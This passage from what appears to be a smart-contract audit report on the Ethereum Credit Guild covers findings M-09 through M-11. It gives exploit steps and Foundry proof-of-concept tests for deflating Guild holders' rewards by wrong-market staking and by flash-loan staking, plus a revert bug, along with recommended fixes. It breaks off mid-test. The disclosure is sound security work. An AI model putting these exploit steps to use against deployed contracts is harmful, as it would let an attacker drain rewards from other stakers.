@TrungOre - I don’t see how this is an issue. It’s akin to saying that if token prices drop, repayments might increase slightly. The impact is limited and falls within the realm of crypto. Consider a lending protocol where users deposit ETH as collateral for a volatile asset loan. If, during partial repayment, the token’s price drops between the minting and the actual loan repayment transaction, it’s a crypto fluctuation, not a bug.

0xStalin (warden) commented:

@btk - The thing is that borrowers borrowed CreditTokens which their value is tight to the creditMultiplier, it is not tied to a specific market price. If a borrower borrowed a specific amount of CreditTokens it should repay the same amount of borrowed tokens + interest. In this case, if the creditMultiplier drops, this will force the borrower to buy more creditTokens than what they should really bought. Thus, the total amount of repaid debt will be bigger than what it really should. As I explained in the report, the existing implementation can cause users to end up paying more value for what they borrowed.

Important to emphasise that the drop of the creditMultiplier has nothing to do with the collateral that was used to back up the loan, that is a different thing. creditMultiplier only matters for the CreditToken and the PeggedToken.


[M-09] Users can deflate other markets Guild holders rewards by staking less priced token

Submitted by SBSecurity, also found by ether_sky

In the SurplusGuildMinter::stake() function, there is currently no check to verify if the provided term’s CREDIT token is the same as the CREDIT token in the called SurplusGuildMinter. This oversight could result in inaccuracies in gaugeWeight and rewards for guild holders, especially with the upcoming inclusion of various markets such as gUSDC and likely gWETH.

A potential issue exists where a user can stake in the SurplusGuildMinter(gUSDC) using a gWETH term. This action results in the user obtaining Guild tokens based on staked gUSDC but inadvertently increases the gaugeWeight for gWETH. As a consequence, other Guild token holders in the gWETH market may receive reduced rewards.

With a guild:credit mintRatio of 2, a staker should receive 2 Guild tokens for 1 gWETH. However, if the staker uses the wrong SurplusGuildMinter and stakes 1 gUSDC, again 2 Guild tokens will be minted, creating a situation where the malicious staker can increase the gWETH gaugeWeight with cheaper CreditToken.

As illustrated in the scenario below, with just $100, the malicious staker can reduce guild holder rewards more than twice. Afterward, they can unstake the initial $100, causing a loss of rewards for other stakers.

Note: The malicious staker won’t receive rewards for this stake, and there won’t be any penalties (slashing) if the term incurs no losses until they decide to unstake.

Proof of Concept

Preconditions:

  • gUSDC market.
  • gWETH market.

Steps:

  1. The malicious user mints gUSDC using USDC.
  2. Instead of staking through the appropriate SurplusGuildMinter(gWETH), the user stakes in the gWETH term through SurplusGuildMinter(gUSDC). They retain the stake until notifyPnL is called or as desired. Overall, for the lower-priced token (USDC), the user mints a significant amount of Guild compared to the same value in WETH.
  3. With just $100, the malicious user can reduce guild holder rewards more than two times.

Coded PoC

Create a new file in test/unit/loan called StakeIntoWrongTerm.t.sol:

pragma solidity 0.8.13;

import {Test, console} from "@forge-std/Test.sol";
import {Core} from "@src/core/Core.sol";
import {CoreRoles} from "@src/core/CoreRoles.sol";
import {GuildToken} from "@src/tokens/GuildToken.sol";
import {CreditToken} from "@src/tokens/CreditToken.sol";
import {ProfitManager} from "@src/governance/ProfitManager.sol";
import {MockLendingTerm} from "@test/mock/MockLendingTerm.sol";
import {RateLimitedMinter} from "@src/rate-limits/RateLimitedMinter.sol";
import {SurplusGuildMinter} from "@src/loan/SurplusGuildMinter.sol";

contract StakeIntoWrongTermUnitTest is Test {
    address private governor = address(1);
    address private guardian = address(2);
    address private EXPLOITER = makeAddr("exploiter");
    address private STAKER1 = makeAddr("staker1");
    address private STAKER2 = makeAddr("staker2");
    address private STAKER3 = makeAddr("staker3");
    address private termUSDC;
    address private termWETH;
    Core private core;
    ProfitManager private profitManagerUSDC;
    ProfitManager private profitManagerWETH;
    CreditToken gUSDC;
    CreditToken gWETH;
    GuildToken guild;
    RateLimitedMinter rlgm;
    SurplusGuildMinter sgmUSDC;
    SurplusGuildMinter sgmWETH;

    // GuildMinter params
    uint256 constant MINT_RATIO = 2e18;
    uint256 constant REWARD_RATIO = 5e18;

    function setUp() public {
        vm.warp(1679067867);
        vm.roll(16848497);
        core = new Core();

        profitManagerUSDC = new ProfitManager(address(core));
        profitManagerWETH = new ProfitManager(address(core));
        gUSDC = new CreditToken(address(core), "gUSDC", "gUSDC");
        gWETH = new CreditToken(address(core), "gWETH", "gWETH");
        guild = new GuildToken(address(core), address(profitManagerWETH));
        rlgm = new RateLimitedMinter(
            address(core), /*_core*/
            address(guild), /*_token*/
            CoreRoles.RATE_LIMITED_GUILD_MINTER, /*_role*/
            type(uint256).max, /*_maxRateLimitPerSecond*/
            type(uint128).max, /*_rateLimitPerSecond*/
            type(uint128).max /*_bufferCap*/
        );
        sgmUSDC = new SurplusGuildMinter(
            address(core),
            address(profitManagerUSDC),
            address(gUSDC),
            address(guild),
            address(rlgm),
            MINT_RATIO,
            REWARD_RATIO
        );
        sgmWETH = new SurplusGuildMinter(
            address(core),
            address(profitManagerWETH),
            address(gWETH),
            address(guild),
            address(rlgm),
            MINT_RATIO,
            REWARD_RATIO
        );
        profitManagerUSDC.initializeReferences(address(gUSDC), address(guild), address(0));
        profitManagerWETH.initializeReferences(address(gWETH), address(guild), address(0));
        termUSDC = address(new MockLendingTerm(address(core)));
        termWETH = address(new MockLendingTerm(address(core)));

        // roles
        core.grantRole(CoreRoles.GOVERNOR, governor);
        core.grantRole(CoreRoles.GUARDIAN, guardian);
        core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
        core.grantRole(CoreRoles.GUILD_MINTER, address(this));
        core.grantRole(CoreRoles.GAUGE_ADD, address(this));
        core.grantRole(CoreRoles.GAUGE_REMOVE, address(this));
        core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this));
        core.grantRole(CoreRoles.GUILD_MINTER, address(rlgm));
        core.grantRole(CoreRoles.RATE_LIMITED_GUILD_MINTER, address(sgmUSDC));
        core.grantRole(CoreRoles.RATE_LIMITED_GUILD_MINTER, address(sgmWETH));
        core.grantRole(CoreRoles.GUILD_SURPLUS_BUFFER_WITHDRAW, address(sgmUSDC));
        core.grantRole(CoreRoles.GUILD_SURPLUS_BUFFER_WITHDRAW, address(sgmWETH));
        core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(this));
        core.renounceRole(CoreRoles.GOVERNOR, address(this));

        // add gauge and vote for it
        guild.setMaxGauges(10);
        guild.addGauge(1, termUSDC);
        guild.addGauge(2, termWETH);

        // labels
        vm.label(address(core), "core");
        vm.label(address(profitManagerUSDC), "profitManagerUSDC");
        vm.label(address(profitManagerWETH), "profitManagerWETH");
        vm.label(address(gUSDC), "gUSDC");
        vm.label(address(gWETH), "gWETH");
        vm.label(address(guild), "guild");
        vm.label(address(rlgm), "rlcgm");
        vm.label(address(sgmUSDC), "sgmUSDC");
        vm.label(address(sgmWETH), "sgmWETH");
        vm.label(termUSDC, "termUSDC");
        vm.label(termWETH, "termWETH");
    }

    function testC1() public {
        gWETH.mint(STAKER1, 10e18);
        gWETH.mint(STAKER2, 50e18);
        gWETH.mint(STAKER3, 30e18);

        vm.startPrank(STAKER1);
        gWETH.approve(address(sgmWETH), 10e18);
        sgmWETH.stake(termWETH, 10e18);
        vm.stopPrank();

        vm.startPrank(STAKER2);
        gWETH.approve(address(sgmWETH), 50e18);
        sgmWETH.stake(termWETH, 50e18);
        vm.stopPrank();

        vm.startPrank(STAKER3);
        gWETH.approve(address(sgmWETH), 30e18);
        sgmWETH.stake(termWETH, 30e18);
        vm.stopPrank();
        
        console.log("------------------------BEFORE ATTACK------------------------");
        console.log("Gauge(gWETH) Weight:                   ", guild.getGaugeWeight(termWETH));

    	vm.warp(block.timestamp + 150 days);
        vm.prank(governor);
        profitManagerWETH.setProfitSharingConfig(
            0.05e18, // surplusBufferSplit
            0.9e18, // creditSplit
            0.05e18, // guildSplit
            0, // otherSplit
            address(0) // otherRecipient
        );

        gWETH.mint(address(profitManagerWETH), 1e18);
        profitManagerWETH.notifyPnL(termWETH, 1e18);

        sgmWETH.getRewards(STAKER1, termWETH);
        sgmWETH.getRewards(STAKER2, termWETH);
        sgmWETH.getRewards(STAKER3, termWETH);
        console.log("Staker1 reward:                             ", gWETH.balanceOf(address(STAKER1)));
        console.log("Staker2 reward:                            ", gWETH.balanceOf(address(STAKER2)));
        console.log("Staker3 reward:                            ", gWETH.balanceOf(address(STAKER3)));
        console.log("GaugeProfitIndex:                        ", profitManagerWETH.gaugeProfitIndex(termWETH));
    }

    function testC2() public {
        gWETH.mint(STAKER1, 10e18);
        gWETH.mint(STAKER2, 50e18);
        gWETH.mint(STAKER3, 30e18);

        vm.startPrank(STAKER1);
        gWETH.approve(address(sgmWETH), 10e18);
        sgmWETH.stake(termWETH, 10e18);
        vm.stopPrank();

        vm.startPrank(STAKER2);
        gWETH.approve(address(sgmWETH), 50e18);
        sgmWETH.stake(termWETH, 50e18);
        vm.stopPrank();

        vm.startPrank(STAKER3);
        gWETH.approve(address(sgmWETH), 30e18);
        sgmWETH.stake(termWETH, 30e18);
        vm.stopPrank();

        console.log("------------------------AFTER ATTACK-------------------------");
        console.log("Gauge(gWETH) Weight Before Attack:     ", guild.getGaugeWeight(termWETH));

        gUSDC.mint(EXPLOITER, 100e18);
        console.log("EXPLOITER gUSDC balance before stake:  ", gUSDC.balanceOf(EXPLOITER));
        vm.startPrank(EXPLOITER);
        gUSDC.approve(address(sgmUSDC), 100e18);
        sgmUSDC.stake(termWETH, 100e18);
        console.log("EXPLOITER gUSDC balance after stake:                       ", gUSDC.balanceOf(EXPLOITER));
        vm.stopPrank();

        console.log("Gauge(gWETH) Weight After Attack:      ", guild.getGaugeWeight(termWETH));

    	vm.warp(block.timestamp + 150 days);
        vm.prank(governor);
        profitManagerWETH.setProfitSharingConfig(
            0.05e18, // surplusBufferSplit
            0.9e18, // creditSplit
            0.05e18, // guildSplit
            0, // otherSplit
            address(0) // otherRecipient
        );

        gWETH.mint(address(profitManagerWETH), 1e18);
        profitManagerWETH.notifyPnL(termWETH, 1e18);

        vm.startPrank(EXPLOITER);
        sgmUSDC.unstake(termWETH, 100e18);
        vm.stopPrank();

        console.log("EXPLOITER gUSDC balance after unstake: ", gUSDC.balanceOf(EXPLOITER));
        sgmWETH.getRewards(EXPLOITER, termWETH);
        sgmUSDC.getRewards(EXPLOITER, termWETH);
        console.log("EXPLOITER reward:                                          ", gWETH.balanceOf(address(EXPLOITER)));

        sgmWETH.getRewards(STAKER1, termWETH);
        sgmWETH.getRewards(STAKER2, termWETH);
        sgmWETH.getRewards(STAKER3, termWETH);
        console.log("Staker1 reward:                             ", gWETH.balanceOf(address(STAKER1)));
        console.log("Staker2 reward:                            ", gWETH.balanceOf(address(STAKER2)));
        console.log("Staker3 reward:                             ", gWETH.balanceOf(address(STAKER3)));
        console.log("GaugeProfitIndex After:                  ", profitManagerWETH.gaugeProfitIndex(termWETH));
    }
}

There are tests for both cases – one without the attack and another with the attack scenario.

Run them with:

forge test --match-contract "StakeIntoWrongTermUnitTest" -vvv
Logs:
  ------------------------BEFORE ATTACK------------------------
  Gauge(gWETH) Weight:                    180000000000000000000
  Staker1 reward:                              5555555555555540
  Staker2 reward:                             27777777777777700
  Staker3 reward:                             16666666666666620
  GaugeProfitIndex:                         1000277777777777777

Logs:
  Gauge(gWETH) Weight Before Attack:      180000000000000000000
  EXPLOITER gUSDC balance before stake:   100000000000000000000
  EXPLOITER gUSDC balance after stake:                        0
  Gauge(gWETH) Weight After Attack:       380000000000000000000
  EXPLOITER gUSDC balance after unstake:  100000000000000000000
  EXPLOITER reward:                                           0
  Staker1 reward:                              2631578947368420
  Staker2 reward:                             13157894736842100
  Staker3 reward:                              7894736842105260
  GaugeProfitIndex After:                   1000131578947368421

To prevent manipulation, add a check in the stake() function to ensure that the passed term is from the same market as the SurplusGuildMinter.

function stake(address term, uint256 amount) external whenNotPaused {
+   require(LendingTerm(term).getReferences().creditToken == credit, "SurplusGuildMinter: term from wrong market!");

    // apply pending rewards
    (uint256 lastGaugeLoss, UserStake memory userStake, ) = getRewards(
        msg.sender,
        term
    );

    require(
        lastGaugeLoss != block.timestamp,
        "SurplusGuildMinter: loss in block"
    );
    require(amount >= MIN_STAKE, "SurplusGuildMinter: min stake");

    // pull CREDIT from user & transfer it to surplus buffer
    CreditToken(credit).transferFrom(msg.sender, address(this), amount);
    CreditToken(credit).approve(address(profitManager), amount);
    ProfitManager(profitManager).donateToTermSurplusBuffer(term, amount);

    // self-mint GUILD tokens
    uint256 _mintRatio = mintRatio;
    uint256 guildAmount = (_mintRatio * amount) / 1e18;
    RateLimitedMinter(rlgm).mint(address(this), guildAmount);
    GuildToken(guild).incrementGauge(term, guildAmount);

    // update state
    userStake = UserStake({
        stakeTime: SafeCastLib.safeCastTo48(block.timestamp),
        lastGaugeLoss: SafeCastLib.safeCastTo48(lastGaugeLoss),
        profitIndex: SafeCastLib.safeCastTo160(
            ProfitManager(profitManager).userGaugeProfitIndex(
                address(this),
                term
            )
        ),
        credit: userStake.credit + SafeCastLib.safeCastTo128(amount),
        guild: userStake.guild + SafeCastLib.safeCastTo128(guildAmount)
    });
    _stakes[msg.sender][term] = userStake;

    // emit event
    emit Stake(block.timestamp, term, amount);
}

Assessed type

Invalid Validation

eswak (Ethereum Credit Guild) confirmed and commented:

Confirming this, thanks for the quality of the report.


[M-10] Wrong ProfitManager in GuildToken, will always revert for other types of gauges leading to bad debt

Submitted by SBSecurity, also found by grearlake, sl1, alexzoid, Giorgio, NentoR, 0xpiken, 0xanmol, btk, santipu_, TheSchnilch, asui, kaden, and ether_sky

Line of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/GuildToken.sol#L41

Impact

In GuildToken.sol, there’s a mistake where profitManager is set in the constructor. This is problematic because different markets have different ProfitManagers, and the logic was initially designed for only one market (e.g., gUSDC). As a result, calling notifyPnL() with negative value (via forgive()or onBid() in other type of terms (e.g. gWETH)), it triggers GuildToken::notifyGaugeLoss(). However, this always results in a revert for other term types because the caller is the ProfitManager of that type, whereas GuildToken::notifyGaugeLoss() expects the one set in the constructor.

As a result, this means that loans from other markets won’t be removed unless users repay them, resulting in bad debt for the protocol.

GuildToken::notifyGaugeLoss()

function notifyGaugeLoss(address gauge) external {
    require(msg.sender == profitManager, "UNAUTHORIZED");

    // save gauge loss
    lastGaugeLoss[gauge] = block.timestamp;
    emit GaugeLoss(gauge, block.timestamp);
}

Note: It’s using this profitManager in other parts of GuildToken, but it has nothing to do with the attack, and it doesn’t cause any impact. However, we show how to fix it in the recommendation section. Because the profitManager should be removed altogether and always called dynamically based on the passed gauge.

Proof of Concept

Conditions:

  • 2+ market (gUSDC, gWETH, etc).
  • Negative notifyPnL() (via forgive() or onBid()).

Coded PoC

Firstly, you need to add additional variables for other term type and include them in the setUp().

Modify SurplusGuildMinter.t.sol as shown:

contract SurplusGuildMinterUnitTest is Test {
    address private governor = address(1);
    address private guardian = address(2);
    address private term;
+   address private termWETH;
    Core private core;
    ProfitManager private profitManager;
+   ProfitManager private profitManagerWETH;
    CreditToken credit;
+   CreditToken creditWETH;
    GuildToken guild;
    RateLimitedMinter rlgm;
    SurplusGuildMinter sgm;

    // GuildMinter params
    uint256 constant MINT_RATIO = 2e18;
    uint256 constant REWARD_RATIO = 5e18;

    function setUp() public {
        vm.warp(1679067867);
        vm.roll(16848497);
        core = new Core();

        profitManager = new ProfitManager(address(core));
+       profitManagerWETH = new ProfitManager(address(core));
        credit = new CreditToken(address(core), "name", "symbol");
+       creditWETH = new CreditToken(address(core), "WETH", "WETH");
        guild = new GuildToken(address(core), address(profitManager));
        rlgm = new RateLimitedMinter(
            address(core), /*_core*/
            address(guild), /*_token*/
            CoreRoles.RATE_LIMITED_GUILD_MINTER, /*_role*/
            type(uint256).max, /*_maxRateLimitPerSecond*/
            type(uint128).max, /*_rateLimitPerSecond*/
            type(uint128).max /*_bufferCap*/
        );
        sgm = new SurplusGuildMinter(
            address(core),
            address(profitManager),
            address(credit),
            address(guild),
            address(rlgm),
            MINT_RATIO,
            REWARD_RATIO
        );
        profitManager.initializeReferences(address(credit), address(guild), address(0));
+       profitManagerWETH.initializeReferences(address(creditWETH), address(guild), address(0));
        term = address(new MockLendingTerm(address(core)));
+       termWETH = address(new MockLendingTerm(address(core)));

        // roles
        core.grantRole(CoreRoles.GOVERNOR, governor);
        core.grantRole(CoreRoles.GUARDIAN, guardian);
        core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
        core.grantRole(CoreRoles.GUILD_MINTER, address(this));
        core.grantRole(CoreRoles.GAUGE_ADD, address(this));
        core.grantRole(CoreRoles.GAUGE_REMOVE, address(this));
        core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this));
        core.grantRole(CoreRoles.GUILD_MINTER, address(rlgm));
        core.grantRole(CoreRoles.RATE_LIMITED_GUILD_MINTER, address(sgm));
        core.grantRole(CoreRoles.RATE_LIMITED_GUILD_MINTER, address(sgmWETH));
        core.grantRole(CoreRoles.GUILD_SURPLUS_BUFFER_WITHDRAW, address(sgm));
        core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(this));
        core.renounceRole(CoreRoles.GOVERNOR, address(this));

        // add gauge and vote for it
        guild.setMaxGauges(10);
        guild.addGauge(1, term);
        guild.mint(address(this), 50e18);
        guild.incrementGauge(term, uint112(50e18));

+       guild.addGauge(2, termWETH);

        // labels
        vm.label(address(core), "core");
        vm.label(address(profitManager), "profitManager");
        vm.label(address(credit), "credit");
        vm.label(address(guild), "guild");
        vm.label(address(rlgm), "rlcgm");
        vm.label(address(sgm), "sgm");
        vm.label(term, "term");
    }

...
}

Place the test in the same SurplusGuildMinter.t.sol and run with:

forge test --match-contract "SurplusGuildMinterUnitTest" --match-test "testNotifyPnLCannotBeCalledWithNegative"
function testNotifyPnLCannotBeCalledWithNegative() public {
    // Show that for the initial gUSDC term there is no problem.
    credit.mint(address(profitManager), 10);
    profitManager.notifyPnL(term, -1);

    creditWETH.mint(address(profitManagerWETH), 10);
    vm.expectRevert("UNAUTHORIZED");
    profitManagerWETH.notifyPnL(termWETH, -1);
}

In GuildToken.sol, ProfitManager needs to be dynamically called, because there will be different ProfitManager for each market.

Since the caller of the notifyGaugeLoss() needs to be the profitManager of the passed gauge, here is the refactored logic:

function notifyGaugeLoss(address gauge) external {
+   address gaugeProfitManager = LendingTerm(gauge).getReferences().profitManager;
+   require(msg.sender == gaugeProfitManager, "UNAUTHORIZED");
-   require(msg.sender == profitManager, "UNAUTHORIZED");

    // save gauge loss
    lastGaugeLoss[gauge] = block.timestamp;
    emit GaugeLoss(gauge, block.timestamp);
}

You should also rework _decrementGaugeWeight() and _incrementGaugeWeight() as follows:

function _decrementGaugeWeight(
    address user,
    address gauge,
    uint256 weight
) internal override {
    uint256 _lastGaugeLoss = lastGaugeLoss[gauge];
    uint256 _lastGaugeLossApplied = lastGaugeLossApplied[gauge][user];
    require(
        _lastGaugeLossApplied >= _lastGaugeLoss,
        "GuildToken: pending loss"
    );

    // update the user profit index and claim rewards
-   ProfitManager(profitManager).claimGaugeRewards(user, gauge);
+   address gaugeProfitManager = LendingTerm(gauge).getReferences().profitManager;
+   ProfitManager(gaugeProfitManager).claimGaugeRewards(user, gauge);

    // check if gauge is currently using its allocated debt ceiling.
    // To decrement gauge weight, guild holders might have to call loans if the debt ceiling is used.
    uint256 issuance = LendingTerm(gauge).issuance();
    if (issuance != 0) {
        uint256 debtCeilingAfterDecrement = LendingTerm(gauge).debtCeiling(-int256(weight));
        require(
            issuance <= debtCeilingAfterDecrement,
            "GuildToken: debt ceiling used"
        );
    }

    super._decrementGaugeWeight(user, gauge, weight);
}
function _incrementGaugeWeight(
    address user,
    address gauge,
    uint256 weight
) internal override {
    uint256 _lastGaugeLoss = lastGaugeLoss[gauge];
    uint256 _lastGaugeLossApplied = lastGaugeLossApplied[gauge][user];
    if (getUserGaugeWeight[user][gauge] == 0) {
        lastGaugeLossApplied[gauge][user] = block.timestamp;
    } else {
        require(
            _lastGaugeLossApplied >= _lastGaugeLoss,
            "GuildToken: pending loss"
        );
    }

-   ProfitManager(profitManager).claimGaugeRewards(user, gauge);
+   address gaugeProfitManager = LendingTerm(gauge).getReferences().profitManager;
+   ProfitManager(gaugeProfitManager).claimGaugeRewards(user, gauge);

    super._incrementGaugeWeight(user, gauge, weight);
}

Assessed type

DoS

eswak (Ethereum Credit Guild) confirmed, but disagreed with severity and commented:

Confirming, I think the fix will look like this:

Note: to view the provided image, please see the original comment here.

I’d argue no user funds are at risk (this would be detected upon deployment of a 2nd market, before users can use it) so this is more fit for Medium.

TrungOre (judge) decreased severity to Medium


[M-11] Malicious borrower can decrease Guild holders reward

Submitted by SBSecurity, also found by JCN, grearlake, EV_om, Arz, Soul22, carrotsmuggler, Infect3d, Mike_Bello90, evmboi32, smiling_heretic, SECURITISE, zhaojie, rbserver, almurhasan, EllipticPoint (1, 2), 0xanmol, 0xbepresent, kaden, c47ch3m4ll, whitehat-boys, 0x_6a70, 0xfave, Byteblockers (1, 2), CaeraDenoir, critical-or-high, ether_sky, and cccz

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L114-L155

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L158-L212

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L216-L290

Impact

A malicious borrower can reduce all Guild holders’ rewards with a big flashloan, upon full repayment.

A borrower opens a loan with the minimum borrowable amount in term with no mandatory partial repayment. Waits for the loan to accumulate interest, then transfers the funds to an alternative account - EXPLOITER. EXPLOITER takes a flash loan, stakes the amount through SurplusGuildMinter, repays the original loan, lowering the rewards for all other GUILD holders by increasing the _gaugeWeight with his staked tokens. Afterward, the EXPLOITER unstakes and returns the flashloan.

The attacker ends up with his collateral, his loan repaid, credit reward and a big percentage of the reward intended for GUILD holders since he is the largest staker for this term at the time of the attack. He receives significant credit and guild rewards as a staker, which is incorrect because he was a staker only for that specific transaction.

He only pays the unavoidable interest payment, typically around $4-5, along with gas costs in the scenario described below.

Note: The attack can be simplified further by having a substantial amount of tokens and bypassing the flashloan step. By frontrunning the notifyPnL() function with a stake(), followed by a backrun with an unstake(), this way the attacker can instantly accumulate rewards without being a long-term staker like others in the system.

Proof of Concept

The exploiter has two accounts:

  • ALICE account: This is used to borrow a loan, which the exploiter, will later repay to trigger the notifyPnL().
  • EXPLOITER account: This account is used to obtain a flash loan, then staked the amount into the same term. This action is designed to deflate rewards for other participants in the system.

Prerequisites: The exploiter requires approximately $10 balance before the attack to cover the loan interest.

Here are the detailed steps to execute the described attack:

  1. Alice borrows 100 gUSDC.
  2. Transfers the borrowed gUSDC to the EXPLOITER account.
  3. Waits for 150 days to accumulate interest on the loan (waiting period can also be shorter, for just 10 days the impact will be slightly lower, 4 decimals less removed from the stakers rewards).
  4. EXPLOITER obtains a USDC flash loan.
  5. Mints gUSDC through PSM.
  6. Stakes the minted gUSDC into the same term using SurplusGuildMinter.
  7. Repays Alice’s position, triggering notifyPnL().
  8. notifyPnL() updates the _gaugeProfitIndex, reducing rewards for other Guild holders.
  9. EXPLOITER unstakes.
  10. Redeems USDC through PSM.
  11. Returns the flash loan.

Coded PoC

Create new file in test/unit/loan called DeflateGuildHoldersRewards.t.sol:

// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.13;

import {Test, console} from "@forge-std/Test.sol";
import {Core} from "@src/core/Core.sol";
import {CoreRoles} from "@src/core/CoreRoles.sol";
import {GuildToken} from "@src/tokens/GuildToken.sol";
import {CreditToken} from "@src/tokens/CreditToken.sol";
import {ProfitManager} from "@src/governance/ProfitManager.sol";
import {MockLendingTerm} from "@test/mock/MockLendingTerm.sol";
import {RateLimitedMinter} from "@src/rate-limits/RateLimitedMinter.sol";
import {SurplusGuildMinter} from "@src/loan/SurplusGuildMinter.sol";

contract DeflateGuildHoldersRewardsUnitTest is Test {
    address private governor = address(1);
    address private guardian = address(2);
    address private ALICE = makeAddr("alice");
    address private EXPLOITER = makeAddr("exploiter");
    address private STAKER1 = makeAddr("staker1");
    address private STAKER2 = makeAddr("staker2");
    address private STAKER3 = makeAddr("staker3");
    address private termUSDC;
    Core private core;
    ProfitManager private profitManagerUSDC;
    CreditToken gUSDC;
    GuildToken guild;
    RateLimitedMinter rlgm;
    SurplusGuildMinter sgmUSDC;

    // GuildMinter params
    uint256 constant MINT_RATIO = 2e18;
    uint256 constant REWARD_RATIO = 5e18;

    function setUp() public {
        vm.warp(1679067867);
        vm.roll(16848497);
        core = new Core();

        profitManagerUSDC = new ProfitManager(address(core));
        gUSDC = new CreditToken(address(core), "gUSDC", "gUSDC");
        guild = new GuildToken(address(core), address(profitManagerUSDC));
        rlgm = new RateLimitedMinter(
            address(core), /*_core*/
            address(guild), /*_token*/
            CoreRoles.RATE_LIMITED_GUILD_MINTER, /*_role*/
            type(uint256).max, /*_maxRateLimitPerSecond*/
            type(uint128).max, /*_rateLimitPerSecond*/
            type(uint128).max /*_bufferCap*/
        );
        sgmUSDC = new SurplusGuildMinter(
            address(core),
            address(profitManagerUSDC),
            address(gUSDC),
            address(guild),
            address(rlgm),
            MINT_RATIO,
            REWARD_RATIO
        );
        profitManagerUSDC.initializeReferences(address(gUSDC), address(guild), address(0));
        termUSDC = address(new MockLendingTerm(address(core)));

        // roles
        core.grantRole(CoreRoles.GOVERNOR, governor);
        core.grantRole(CoreRoles.GUARDIAN, guardian);
        core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
        core.grantRole(CoreRoles.GUILD_MINTER, address(this));
        core.grantRole(CoreRoles.GAUGE_ADD, address(this));
        core.grantRole(CoreRoles.GAUGE_REMOVE, address(this));
        core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this));
        core.grantRole(CoreRoles.GUILD_MINTER, address(rlgm));
        core.grantRole(CoreRoles.RATE_LIMITED_GUILD_MINTER, address(sgmUSDC));
        core.grantRole(CoreRoles.GUILD_SURPLUS_BUFFER_WITHDRAW, address(sgmUSDC));
        core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(this));
        core.renounceRole(CoreRoles.GOVERNOR, address(this));

        guild.setMaxGauges(10);
        guild.addGauge(1, termUSDC);

        // labels
        vm.label(address(core), "core");
        vm.label(address(profitManagerUSDC), "profitManagerUSDC");
        vm.label(address(gUSDC), "gUSDC");
        vm.label(address(guild), "guild");
        vm.label(address(rlgm), "rlcgm");
        vm.label(address(sgmUSDC), "sgmUSDC");
        vm.label(termUSDC, "termUSDC");
    }

    function testGuildHoldersRewardsWithoutEXPLOITER() public {
        // 3 users borrow gUSDC and stake them into the gUSDC term
        // In reality there may be more users, but for testing purposes, three are sufficient.
        gUSDC.mint(STAKER1, 200e18);
        gUSDC.mint(STAKER2, 800e18);
        gUSDC.mint(STAKER3, 600e18);

        vm.startPrank(STAKER1);
        gUSDC.approve(address(sgmUSDC), 200e18);
        sgmUSDC.stake(termUSDC, 200e18);
        vm.stopPrank();

        vm.startPrank(STAKER2);
        gUSDC.approve(address(sgmUSDC), 800e18);
        sgmUSDC.stake(termUSDC, 800e18);
        vm.stopPrank();

        vm.startPrank(STAKER3);
        gUSDC.approve(address(sgmUSDC), 600e18);
        sgmUSDC.stake(termUSDC, 600e18);
        vm.stopPrank();

        // Alice borrows 10 gUSDC. There's no borrow logic involved due to MockLendingTerm, but it's not necessary for the test.
        uint borrowTime = block.timestamp;
        gUSDC.mint(ALICE, 100e18);

    	vm.warp(block.timestamp + 150 days);
        uint256 interest = _computeAliceLoanInterest(borrowTime, 100e18);
        vm.prank(governor);
        profitManagerUSDC.setProfitSharingConfig(
            0.05e18, // surplusBufferSplit
            0.9e18, // creditSplit
            0.05e18, // guildSplit
            0, // otherSplit
            address(0) // otherRecipient
        );

        gUSDC.mint(address(profitManagerUSDC), interest);
        profitManagerUSDC.notifyPnL(termUSDC, int256(interest));

        sgmUSDC.getRewards(STAKER1, termUSDC);
        sgmUSDC.getRewards(STAKER2, termUSDC);
        sgmUSDC.getRewards(STAKER3, termUSDC);
        console.log("------------------------------BEFORE ATTACK------------------------------");
        console.log("Staker1 credit reward:                                  ", gUSDC.balanceOf(address(STAKER1)));
        console.log("Staker1 guild reward:                                  ", guild.balanceOf(address(STAKER1)));
        console.log("Staker2 credit reward:                                 ", gUSDC.balanceOf(address(STAKER2)));
        console.log("Staker2 guild reward:                                  ", guild.balanceOf(address(STAKER2)));
        console.log("Staker3 credit reward:                                  ", gUSDC.balanceOf(address(STAKER3)));
        console.log("Staker3 guild reward:                                  ", guild.balanceOf(address(STAKER3)));
        console.log("GaugeProfitIndex:                                     ", profitManagerUSDC.gaugeProfitIndex(termUSDC));
    }

    function testGuildHoldersRewardsAfterEXPLOITER() public {
        gUSDC.mint(STAKER1, 200e18);
        gUSDC.mint(STAKER2, 800e18);
        gUSDC.mint(STAKER3, 600e18);

        vm.startPrank(STAKER1);
        gUSDC.approve(address(sgmUSDC), 200e18);
        sgmUSDC.stake(termUSDC, 200e18);
        vm.stopPrank();

        vm.startPrank(STAKER2);
        gUSDC.approve(address(sgmUSDC), 800e18);
        sgmUSDC.stake(termUSDC, 800e18);
        vm.stopPrank();

        vm.startPrank(STAKER3);
        gUSDC.approve(address(sgmUSDC), 600e18);
        sgmUSDC.stake(termUSDC, 600e18);
        vm.stopPrank();

        // Alice borrows 10 gUSDC. There's no borrow logic involved due to MockLendingTerm, but it's not necessary for the test.
        uint borrowTime = block.timestamp;
        gUSDC.mint(ALICE, 100e18);

        // NOTE: Alice needs to transfer the borrowed 100e18 gUSDC to EXPLOITER for repayment.

        
        console.log("-------------------------------AFTER ATTACK-------------------------------");
        console.log("EXPLOITER Credit Balance before flashloan:                              ", gUSDC.balanceOf(EXPLOITER));
        // EXPLOITER gets a flashloan.
        gUSDC.mint(EXPLOITER, 10_000_000e18);
